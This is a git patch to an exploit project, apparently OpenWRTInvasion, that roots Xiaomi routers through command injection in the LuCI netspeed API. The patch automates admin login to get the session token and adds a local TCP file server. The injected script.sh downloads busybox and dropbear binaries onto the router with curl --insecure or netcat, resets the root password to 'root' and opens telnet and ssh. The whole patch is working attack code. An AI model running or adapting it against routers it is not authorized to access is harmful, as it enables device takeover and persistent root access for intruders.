From 95afeba95de8672b1f1164406a9acb17a213a2e5 Mon Sep 17 00:00:00 2001 From: luojunqiang Date: Mon, 31 Jan 2022 08:05:32 +0800 Subject: [PATCH] Get stok by login to luci and provide needed files by a local file server (#113) --- .gitignore | 3 +- remote_command_execution_vulnerability.py | 73 +++++++++++++++++++---- script.sh | 32 ++++++++-- tcp_file_server.py | 40 +++++++++++++ 4 files changed, 131 insertions(+), 17 deletions(-) create mode 100644 tcp_file_server.py diff --git a/.gitignore b/.gitignore index 07ed706..0dca951 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,2 @@ -build/* \ No newline at end of file +build/* +__pycache__ diff --git a/remote_command_execution_vulnerability.py b/remote_command_execution_vulnerability.py index 27a1ac5..88df62e 100644 --- a/remote_command_execution_vulnerability.py +++ b/remote_command_execution_vulnerability.py @@ -17,13 +17,50 @@ import shutil import tarfile import requests +import sys +import re +import time +import random +import hashlib -router_ip_address = "192.168.31.1" -router_ip_address = input("Router IP address [press enter for using the default {}]: ".format(router_ip_address)) or router_ip_address +router_ip_address="miwifi.com" +#router_ip_address = "192.168.31.1" +router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address # get stok -stok = input("stok: ") -# stok = "eeb59f33a51cd46649cd4ad1e3f50ecf" +def get_stok(router_ip_address): + try: + r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address)) + except: + print ("Xiaomi router not found...") + return None + try: + mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0] + except: + print ("Xiaomi router not found...") + return None + key = re.findall(r'key: \'(.*)\',', r0.text)[0] + nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000)) + router_password = input("Enter router admin password: ") + account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest() + password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest() + data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce) + r1 = requests.post("http://{router_ip_address}/cgi-bin/luci/api/xqsystem/login".format(router_ip_address=router_ip_address), + data = data, + headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) + try: + stok = re.findall(r'"token":"(.*?)"',r1.text)[0] + except: + print("Failed to get stok in login response '{}'".format(r1.text)) + return None + return stok + +stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ") +print("""There two options to provide the files needed for invasion: + 1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`. + 2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)""") +use_local_file_server = (input("Which option do you prefer? (default: 1)") or "1") == "1" # From https://blog.securityevaluators.com/show-mi-the-vulns-exploiting-command-injection-in-mi-router-3-55c6bcb48f09 # In the attacking machine (macos), run the following before executing this script: /usr/bin/nc -l 4444 @@ -48,6 +85,7 @@ print("****************") print("router_ip_address: " + router_ip_address) print("stok: " + stok) +print("file provider: " + ("local file server" if use_local_file_server else "remote github repository")) print("****************") # Make tar @@ -67,14 +105,29 @@ ) # print(r1.text) +def send_test_netspeed_request(router_ip_address, stok, port): + r = requests.get( + "http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed?{}".format(router_ip_address, stok, port), + proxies=proxies + ) + # print(r.text) + # exec download speed test, exec command print("start exec command...") -r2 = requests.get( - "http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(router_ip_address, stok), - proxies=proxies -) -# print(r2.text) +if use_local_file_server: + from tcp_file_server import TcpFileServer + file_server = TcpFileServer("script_tools") + + with file_server: + # The TCP file server will use a random port number. + # And this port number will be sent to the router luci web server through query parameters of testing net speed request here. + # Then in the injected `script.sh`, we can get the client IP address and file server port + # through CGI variables `REMOTE_ADDR` and `QUERY_STRING` to download needed files. + send_test_netspeed_request(router_ip_address, stok, file_server.port) +else: # Use remote github repository. port setted to 0. + send_test_netspeed_request(router_ip_address, stok, port=0) + print("done! Now you can connect to the router using several options: (user: root, password: root)") print("* telnet {}".format(router_ip_address)) print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address)) -print("* ftp: using a program like cyberduck") \ No newline at end of file +print("* ftp: using a program like cyberduck") diff --git a/script.sh b/script.sh index 5b4e328..abbfa57 100644 --- a/script.sh +++ b/script.sh @@ -11,6 +11,29 @@ exploit() { echo "Done exploiting" } +download_file_from_github() { + # Rationale for using --insecure: https://github.com/acecilia/OpenWRTInvasion/issues/31#issuecomment-690755250 + curl -L "https://github.com/acecilia/OpenWRTInvasion/raw/master/script_tools/$1" --insecure --output "$2" +} + +download_file_from_tcp_server() { + echo "$1" | nc "${REMOTE_ADDR}" "${QUERY_STRING}" >"$2" +} + +get_file() { + src_file="$1" + dst_file="$2" + + rm -rf "${dst_file}" + + port="${QUERY_STRING}" + if [ x"${port}" = x0 ]; then + download_file_from_github "${src_file}" "${dst_file}" + else + download_file_from_tcp_server "${src_file}" "${dst_file}" + fi +} + setup_password() { # Override existing password, as the default one set by xiaomi is unknown # https://www.systutorials.com/changing-linux-users-password-in-one-command-line/ @@ -22,9 +45,7 @@ setup_busybox() { pgrep busybox | xargs kill || true cd /tmp - rm -rf busybox - # Rationale for using --insecure: https://github.com/acecilia/OpenWRTInvasion/issues/31#issuecomment-690755250 - curl -L "https://github.com/acecilia/OpenWRTInvasion/raw/master/script_tools/busybox-mipsel" --insecure --output busybox + get_file busybox-mipsel busybox chmod +x busybox } @@ -44,14 +65,13 @@ start_ssh() { # Clean rm -rf dropbear - rm -rf dropbear.tar.bz2 rm -rf /etc/dropbear # kill/stop dropbear, in case it is running from a previous execution pgrep dropbear | xargs kill || true # Donwload dropbear static mipsel binary - curl -L "https://github.com/acecilia/OpenWRTInvasion/raw/master/script_tools/dropbearStaticMipsel.tar.bz2" --output dropbear.tar.bz2 + get_file dropbearStaticMipsel.tar.bz2 dropbear.tar.bz2 mkdir dropbear /tmp/busybox tar xvfj dropbear.tar.bz2 -C dropbear --strip-components=1 @@ -103,4 +123,4 @@ mtd_backup() { } # From https://stackoverflow.com/a/16159057 -"$@" \ No newline at end of file +"$@" diff --git a/tcp_file_server.py b/tcp_file_server.py new file mode 100644 index 0000000..ac430fd --- /dev/null +++ b/tcp_file_server.py @@ -0,0 +1,40 @@ +import socketserver +import threading +import time +import sys + +class RequestHandler(socketserver.StreamRequestHandler): + def handle(self): + filename = self.rfile.readline().strip().decode('UTF-8') + print("local file server is getting '{}' for {}.".format(filename, self.client_address[0])) + with open("{}/{}".format(self.server.root_dir, filename), "rb") as f: + self.wfile.write(f.read()) + self.wfile.close() + +class TcpFileServer: + def __init__(self, root_dir='.'): + HOST, PORT = '', 0 + self.server = socketserver.TCPServer((HOST, PORT), RequestHandler) + self.server.root_dir = root_dir + self.ip, self.port = self.server.server_address + + def __enter__(self): + self.run() + return self + + def run(self): + self.server_thread = threading.Thread(target=self.server.serve_forever) + self.server_thread.daemon = True + self.server_thread.start() + print("local file server is runing on {}:{}. root='{}'".format(self.ip, self.port, self.server.root_dir)) + + def __exit__(self, exc_type, exc_val, exc_tb): + self.server.shutdown() + self.server.server_close() + + +if __name__ == "__main__": + root_dir = '.' if len(sys.argv) <= 1 else sys.argv[1] + with TcpFileServer(root_dir): + while True: + time.sleep(10)